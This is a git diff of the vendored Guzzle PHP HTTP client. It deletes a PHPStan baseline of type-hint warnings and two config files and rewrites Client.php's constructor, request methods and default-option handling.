GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:invokeStats\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:invokeStats\\(\\) has parameter \\$error with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:invokeStats\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:invokeStats\\(\\) has parameter \\$startTime with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createResponse\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createResponse\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createResponse\\(\\) has parameter \\$startTime with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createResponse\\(\\) has parameter \\$stream with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Parameter \\#1 \\$status of class GuzzleHttp\\\\Psr7\\\\Response constructor expects int, string given\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createSink\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createSink\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:checkDecode\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:checkDecode\\(\\) has parameter \\$headers with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:checkDecode\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:checkDecode\\(\\) has parameter \\$stream with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Argument of an invalid type array\\\\>\\|null supplied for foreach, only iterables are supported\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createStream\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:createStream\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Parameter \\#3 \\$use_include_path of function fopen expects bool, null given\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Parameter \\#1 \\$stream of function stream_set_timeout expects resource, resource\\|false given\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:resolveHost\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:resolveHost\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Cannot access offset 0 on array\\|false\\.$#" - count: 2 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:getDefaultContext\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_proxy\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_proxy\\(\\) has parameter \\$options with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_proxy\\(\\) has parameter \\$params with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_proxy\\(\\) has parameter \\$value with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_timeout\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_timeout\\(\\) has parameter \\$options with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_timeout\\(\\) has parameter \\$params with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_timeout\\(\\) has parameter \\$value with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_verify\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_verify\\(\\) has parameter \\$options with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_verify\\(\\) has parameter \\$params with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_verify\\(\\) has parameter \\$value with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_cert\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_cert\\(\\) has parameter \\$options with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_cert\\(\\) has parameter \\$params with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_cert\\(\\) has parameter \\$value with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_progress\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_progress\\(\\) has parameter \\$options with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_progress\\(\\) has parameter \\$params with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_progress\\(\\) has parameter \\$value with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_debug\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_debug\\(\\) has parameter \\$options with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_debug\\(\\) has parameter \\$params with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:add_debug\\(\\) has parameter \\$value with no typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:addNotification\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:addNotification\\(\\) has parameter \\$params with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:callArray\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Method GuzzleHttp\\\\Handler\\\\StreamHandler\\:\\:callArray\\(\\) has parameter \\$functions with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Handler/StreamHandler.php - - - - message: "#^Property GuzzleHttp\\\\HandlerStack\\:\\:\\$stack type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:setHandler\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:unshift\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:push\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:before\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:after\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:remove\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:splice\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\HandlerStack\\:\\:debugCallable\\(\\) has parameter \\$fn with no value type specified in iterable type array\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Parameter \\#1 \\$obj of function spl_object_hash expects object, callable given\\.$#" - count: 1 - path: src/HandlerStack.php - - - - message: "#^Method GuzzleHttp\\\\MessageFormatter\\:\\:format\\(\\) should return string but returns string\\|null\\.$#" - count: 1 - path: src/MessageFormatter.php - - - - message: "#^Method GuzzleHttp\\\\Middleware\\:\\:history\\(\\) has parameter \\$container with generic interface ArrayAccess but does not specify its types\\: TKey, TValue$#" - count: 1 - path: src/Middleware.php - - - - message: "#^Method GuzzleHttp\\\\Middleware\\:\\:history\\(\\) has parameter \\$container with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Middleware.php - - - - message: "#^Result of && is always false\\.$#" - count: 1 - path: src/Middleware.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:__construct\\(\\) has parameter \\$config with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:__construct\\(\\) has parameter \\$requests with no value type specified in iterable type array\\|Iterator\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:batch\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:batch\\(\\) has parameter \\$requests with no value type specified in iterable type array\\|Iterator\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:batch\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Unsafe usage of new static\\(\\)\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:cmpCallback\\(\\) has parameter \\$name with no typehint specified\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:cmpCallback\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\Pool\\:\\:cmpCallback\\(\\) has parameter \\$results with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Pool.php - - - - message: "#^Method GuzzleHttp\\\\PrepareBodyMiddleware\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/PrepareBodyMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\PrepareBodyMiddleware\\:\\:addExpectHeader\\(\\) has parameter \\$modify with no value type specified in iterable type array\\.$#" - count: 1 - path: src/PrepareBodyMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\PrepareBodyMiddleware\\:\\:addExpectHeader\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/PrepareBodyMiddleware.php - - - - message: "#^Property GuzzleHttp\\\\RedirectMiddleware\\:\\:\\$defaultSettings has no typehint specified\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RedirectMiddleware\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RedirectMiddleware\\:\\:checkRedirect\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Parameter \\#1 \\$str of function substr expects string, int given\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Parameter \\#1 \\$promise of method GuzzleHttp\\\\RedirectMiddleware\\:\\:withTracking\\(\\) expects GuzzleHttp\\\\Promise\\\\PromiseInterface, GuzzleHttp\\\\Promise\\\\PromiseInterface\\|Psr\\\\Http\\\\Message\\\\ResponseInterface given\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RedirectMiddleware\\:\\:withTracking\\(\\) has parameter \\$statusCode with no typehint specified\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RedirectMiddleware\\:\\:withTracking\\(\\) has parameter \\$uri with no typehint specified\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Parameter \\#2 \\$value of method Psr\\\\Http\\\\Message\\\\MessageInterface\\:\\:withHeader\\(\\) expects array\\\\|string, array given\\.$#" - count: 2 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RedirectMiddleware\\:\\:guardMax\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RedirectMiddleware\\:\\:modifyRequest\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RedirectMiddleware\\:\\:redirectUri\\(\\) has parameter \\$protocols with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RedirectMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RetryMiddleware\\:\\:__invoke\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RetryMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RetryMiddleware\\:\\:onFulfilled\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RetryMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RetryMiddleware\\:\\:onRejected\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RetryMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RetryMiddleware\\:\\:doRetry\\(\\) has parameter \\$options with no value type specified in iterable type array\\.$#" - count: 1 - path: src/RetryMiddleware.php - - - - message: "#^Method GuzzleHttp\\\\RetryMiddleware\\:\\:doRetry\\(\\) should return GuzzleHttp\\\\RetryMiddleware but returns GuzzleHttp\\\\Promise\\\\PromiseInterface\\.$#" - count: 1 - path: src/RetryMiddleware.php - - - - message: "#^Property GuzzleHttp\\\\TransferStats\\:\\:\\$request has no typehint specified\\.$#" - count: 1 - path: src/TransferStats.php - - - - message: "#^Property GuzzleHttp\\\\TransferStats\\:\\:\\$response has no typehint specified\\.$#" - count: 1 - path: src/TransferStats.php - - - - message: "#^Property GuzzleHttp\\\\TransferStats\\:\\:\\$transferTime has no typehint specified\\.$#" - count: 1 - path: src/TransferStats.php - - - - message: "#^Property GuzzleHttp\\\\TransferStats\\:\\:\\$handlerStats has no typehint specified\\.$#" - count: 1 - path: src/TransferStats.php - - - - message: "#^Property GuzzleHttp\\\\TransferStats\\:\\:\\$handlerErrorData has no typehint specified\\.$#" - count: 1 - path: src/TransferStats.php - - - - message: "#^Method GuzzleHttp\\\\TransferStats\\:\\:__construct\\(\\) has parameter \\$handlerStats with no value type specified in iterable type array\\.$#" - count: 1 - path: src/TransferStats.php - - - - message: "#^Method GuzzleHttp\\\\TransferStats\\:\\:getHandlerStats\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/TransferStats.php - - - - message: "#^Property GuzzleHttp\\\\UriTemplate\\:\\:\\$variables type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Property GuzzleHttp\\\\UriTemplate\\:\\:\\$operatorHash type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Property GuzzleHttp\\\\UriTemplate\\:\\:\\$delims type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Property GuzzleHttp\\\\UriTemplate\\:\\:\\$delimsPct type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Method GuzzleHttp\\\\UriTemplate\\:\\:expand\\(\\) has no return typehint specified\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Method GuzzleHttp\\\\UriTemplate\\:\\:expand\\(\\) has parameter \\$template with no typehint specified\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Method GuzzleHttp\\\\UriTemplate\\:\\:expand\\(\\) has parameter \\$variables with no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Method GuzzleHttp\\\\UriTemplate\\:\\:parseExpression\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Method GuzzleHttp\\\\UriTemplate\\:\\:expandMatch\\(\\) has parameter \\$matches with no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Method GuzzleHttp\\\\UriTemplate\\:\\:isAssoc\\(\\) has parameter \\$array with no value type specified in iterable type array\\.$#" - count: 1 - path: src/UriTemplate.php - - - - message: "#^Method GuzzleHttp\\\\Utils\\:\\:idnToAsci\\(\\) has parameter \\$info with no value type specified in iterable type array\\.$#" - count: 1 - path: src/Utils.php - - - - message: "#^Function GuzzleHttp\\\\uri_template\\(\\) has parameter \\$variables with no value type specified in iterable type array\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function uri_template not found\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Parameter \\#1 \\$str of function rtrim expects string, string\\|false given\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function GuzzleHttp\\\\headers_from_lines\\(\\) has parameter \\$lines with no value type specified in iterable type iterable\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function GuzzleHttp\\\\headers_from_lines\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function GuzzleHttp\\\\debug_resource\\(\\) should return resource but returns resource\\|false\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function GuzzleHttp\\\\normalize_header_keys\\(\\) has parameter \\$headers with no value type specified in iterable type array\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function GuzzleHttp\\\\normalize_header_keys\\(\\) return type has no value type specified in iterable type array\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function GuzzleHttp\\\\is_host_in_noproxy\\(\\) has parameter \\$noProxyArray with no value type specified in iterable type array\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Cannot access offset 0 on array\\\\|false\\.$#" - count: 1 - path: src/functions.php - - - - message: "#^Function GuzzleHttp\\\\json_encode\\(\\) should return string but returns string\\|false\\.$#" - count: 1 - path: src/functions.php - diff --git a/vendor/guzzlehttp/guzzle/phpstan.neon.dist b/vendor/guzzlehttp/guzzle/phpstan.neon.dist deleted file mode 100644 index 41e9a68491..0000000000 --- a/vendor/guzzlehttp/guzzle/phpstan.neon.dist +++ /dev/null @@ -1,7 +0,0 @@ -includes: - - phpstan-baseline.neon - -parameters: - level: max - paths: - - src diff --git a/vendor/guzzlehttp/guzzle/phpunit.xml.dist b/vendor/guzzlehttp/guzzle/phpunit.xml.dist deleted file mode 100644 index 446590275a..0000000000 --- a/vendor/guzzlehttp/guzzle/phpunit.xml.dist +++ /dev/null @@ -1,22 +0,0 @@ - - - - - tests - - - - - src - - src/ - - - - diff --git a/vendor/guzzlehttp/guzzle/src/Client.php b/vendor/guzzlehttp/guzzle/src/Client.php index e8a4c6a42c..315a022cf4 100644 --- a/vendor/guzzlehttp/guzzle/src/Client.php +++ b/vendor/guzzlehttp/guzzle/src/Client.php @@ -1,501 +1,501 @@ - 'http://www.foo.com/1.0/', - * 'timeout' => 0, - * 'allow_redirects' => false, - * 'proxy' => '192.168.16.1:10' - * ]); - * - * Client configuration settings include the following options: - * - * - handler: (callable) Function that transfers HTTP requests over the - * wire. The function is called with a Psr7\Http\Message\RequestInterface - * and array of transfer options, and must return a - * GuzzleHttp\Promise\PromiseInterface that is fulfilled with a - * Psr7\Http\Message\ResponseInterface on success. - * If no handler is provided, a default handler will be created - * that enables all of the request options below by attaching all of the - * default middleware to the handler. - * - base_uri: (string|UriInterface) Base URI of the client that is merged - * into relative URIs. Can be a string or instance of UriInterface. - * - **: any request option - * - * @param array $config Client configuration settings. - * - * @see \GuzzleHttp\RequestOptions for a list of available request options. - */ - public function __construct(array $config = []) - { - if (!isset($config['handler'])) { - $config['handler'] = HandlerStack::create(); - } elseif (!is_callable($config['handler'])) { - throw new \InvalidArgumentException('handler must be a callable'); - } - - // Convert the base_uri to a UriInterface - if (isset($config['base_uri'])) { - $config['base_uri'] = Psr7\uri_for($config['base_uri']); - } - - $this->configureDefaults($config); - } - - /** - * @param string $method - * @param array $args - * - * @return Promise\PromiseInterface - */ - public function __call($method, $args) - { - if (count($args) < 1) { - throw new \InvalidArgumentException('Magic request methods require a URI and optional options array'); - } - - $uri = $args[0]; - $opts = isset($args[1]) ? $args[1] : []; - - return substr($method, -5) === 'Async' - ? $this->requestAsync(substr($method, 0, -5), $uri, $opts) - : $this->request($method, $uri, $opts); - } - - /** - * Asynchronously send an HTTP request. - * - * @param array $options Request options to apply to the given - * request and to the transfer. See \GuzzleHttp\RequestOptions. - * - * @return Promise\PromiseInterface - */ - public function sendAsync(RequestInterface $request, array $options = []) - { - // Merge the base URI into the request URI if needed. - $options = $this->prepareDefaults($options); - - return $this->transfer( - $request->withUri($this->buildUri($request->getUri(), $options), $request->hasHeader('Host')), - $options - ); - } - - /** - * Send an HTTP request. - * - * @param array $options Request options to apply to the given - * request and to the transfer. See \GuzzleHttp\RequestOptions. - * - * @return ResponseInterface - * @throws GuzzleException - */ - public function send(RequestInterface $request, array $options = []) - { - $options[RequestOptions::SYNCHRONOUS] = true; - return $this->sendAsync($request, $options)->wait(); - } - - /** - * Create and send an asynchronous HTTP request. - * - * Use an absolute path to override the base path of the client, or a - * relative path to append to the base path of the client. The URL can - * contain the query string as well. Use an array to provide a URL - * template and additional variables to use in the URL template expansion. - * - * @param string $method HTTP method - * @param string|UriInterface $uri URI object or string. - * @param array $options Request options to apply. See \GuzzleHttp\RequestOptions. - * - * @return Promise\PromiseInterface - */ - public function requestAsync($method, $uri = '', array $options = []) - { - $options = $this->prepareDefaults($options); - // Remove request modifying parameter because it can be done up-front. - $headers = isset($options['headers']) ? $options['headers'] : []; - $body = isset($options['body']) ? $options['body'] : null; - $version = isset($options['version']) ? $options['version'] : '1.1'; - // Merge the URI into the base URI. - $uri = $this->buildUri($uri, $options); - if (is_array($body)) { - $this->invalidBody(); - } - $request = new Psr7\Request($method, $uri, $headers, $body, $version); - // Remove the option so that they are not doubly-applied. - unset($options['headers'], $options['body'], $options['version']); - - return $this->transfer($request, $options); - } - - /** - * Create and send an HTTP request. - * - * Use an absolute path to override the base path of the client, or a - * relative path to append to the base path of the client. The URL can - * contain the query string as well. - * - * @param string $method HTTP method. - * @param string|UriInterface $uri URI object or string. - * @param array $options Request options to apply. See \GuzzleHttp\RequestOptions. - * - * @return ResponseInterface - * @throws GuzzleException - */ - public function request($method, $uri = '', array $options = []) - { - $options[RequestOptions::SYNCHRONOUS] = true; - return $this->requestAsync($method, $uri, $options)->wait(); - } - - /** - * Get a client configuration option. - * - * These options include default request options of the client, a "handler" - * (if utilized by the concrete client), and a "base_uri" if utilized by - * the concrete client. - * - * @param string|null $option The config option to retrieve. - * - * @return mixed - */ - public function getConfig($option = null) - { - return $option === null - ? $this->config - : (isset($this->config[$option]) ? $this->config[$option] : null); - } - - /** - * @param string|null $uri - * - * @return UriInterface - */ - private function buildUri($uri, array $config) - { - // for BC we accept null which would otherwise fail in uri_for - $uri = Psr7\uri_for($uri === null ? '' : $uri); - - if (isset($config['base_uri'])) { - $uri = Psr7\UriResolver::resolve(Psr7\uri_for($config['base_uri']), $uri); - } - - if (isset($config['idn_conversion']) && ($config['idn_conversion'] !== false)) { - $idnOptions = ($config['idn_conversion'] === true) ? IDNA_DEFAULT : $config['idn_conversion']; - $uri = Utils::idnUriConvert($uri, $idnOptions); - } - - return $uri->getScheme() === '' && $uri->getHost() !== '' ? $uri->withScheme('http') : $uri; - } - - /** - * Configures the default options for a client. - * - * @param array $config - * @return void - */ - private function configureDefaults(array $config) - { - $defaults = [ - 'allow_redirects' => RedirectMiddleware::$defaultSettings, - 'http_errors' => true, - 'decode_content' => true, - 'verify' => true, - 'cookies' => false, - 'idn_conversion' => true, - ]; - - // Use the standard Linux HTTP_PROXY and HTTPS_PROXY if set. - - // We can only trust the HTTP_PROXY environment variable in a CLI - // process due to the fact that PHP has no reliable mechanism to - // get environment variables that start with "HTTP_". - if (php_sapi_name() === 'cli' && getenv('HTTP_PROXY')) { - $defaults['proxy']['http'] = getenv('HTTP_PROXY'); - } - - if ($proxy = getenv('HTTPS_PROXY')) { - $defaults['proxy']['https'] = $proxy; - } - - if ($noProxy = getenv('NO_PROXY')) { - $cleanedNoProxy = str_replace(' ', '', $noProxy); - $defaults['proxy']['no'] = explode(',', $cleanedNoProxy); - } - - $this->config = $config + $defaults; - - if (!empty($config['cookies']) && $config['cookies'] === true) { - $this->config['cookies'] = new CookieJar(); - } - - // Add the default user-agent header. - if (!isset($this->config['headers'])) { - $this->config['headers'] = ['User-Agent' => default_user_agent()]; - } else { - // Add the User-Agent header if one was not already set. - foreach (array_keys($this->config['headers']) as $name) { - if (strtolower($name) === 'user-agent') { - return; - } - } - $this->config['headers']['User-Agent'] = default_user_agent(); - } - } - - /** - * Merges default options into the array. - * - * @param array $options Options to modify by reference - * - * @return array - */ - private function prepareDefaults(array $options) - { - $defaults = $this->config; - - if (!empty($defaults['headers'])) { - // Default headers are only added if they are not present. - $defaults['_conditional'] = $defaults['headers']; - unset($defaults['headers']); - } - - // Special handling for headers is required as they are added as - // conditional headers and as headers passed to a request ctor. - if (array_key_exists('headers', $options)) { - // Allows default headers to be unset. - if ($options['headers'] === null) { - $defaults['_conditional'] = []; - unset($options['headers']); - } elseif (!is_array($options['headers'])) { - throw new \InvalidArgumentException('headers must be an array'); - } - } - - // Shallow merge defaults underneath options. - $result = $options + $defaults; - - // Remove null values. - foreach ($result as $k => $v) { - if ($v === null) { - unset($result[$k]); - } - } - - return $result; - } - - /** - * Transfers the given request and applies request options. - * - * The URI of the request is not modified and the request options are used - * as-is without merging in default options. - * - * @param array $options See \GuzzleHttp\RequestOptions. - * - * @return Promise\PromiseInterface - */ - private function transfer(RequestInterface $request, array $options) - { - // save_to -> sink - if (isset($options['save_to'])) { - $options['sink'] = $options['save_to']; - unset($options['save_to']); - } - - // exceptions -> http_errors - if (isset($options['exceptions'])) { - $options['http_errors'] = $options['exceptions']; - unset($options['exceptions']); - } - - $request = $this->applyOptions($request, $options); - /** @var HandlerStack $handler */ - $handler = $options['handler']; - - try { - return Promise\promise_for($handler($request, $options)); - } catch (\Exception $e) { - return Promise\rejection_for($e); - } - } - - /** - * Applies the array of request options to a request. - * - * @param RequestInterface $request - * @param array $options - * - * @return RequestInterface - */ - private function 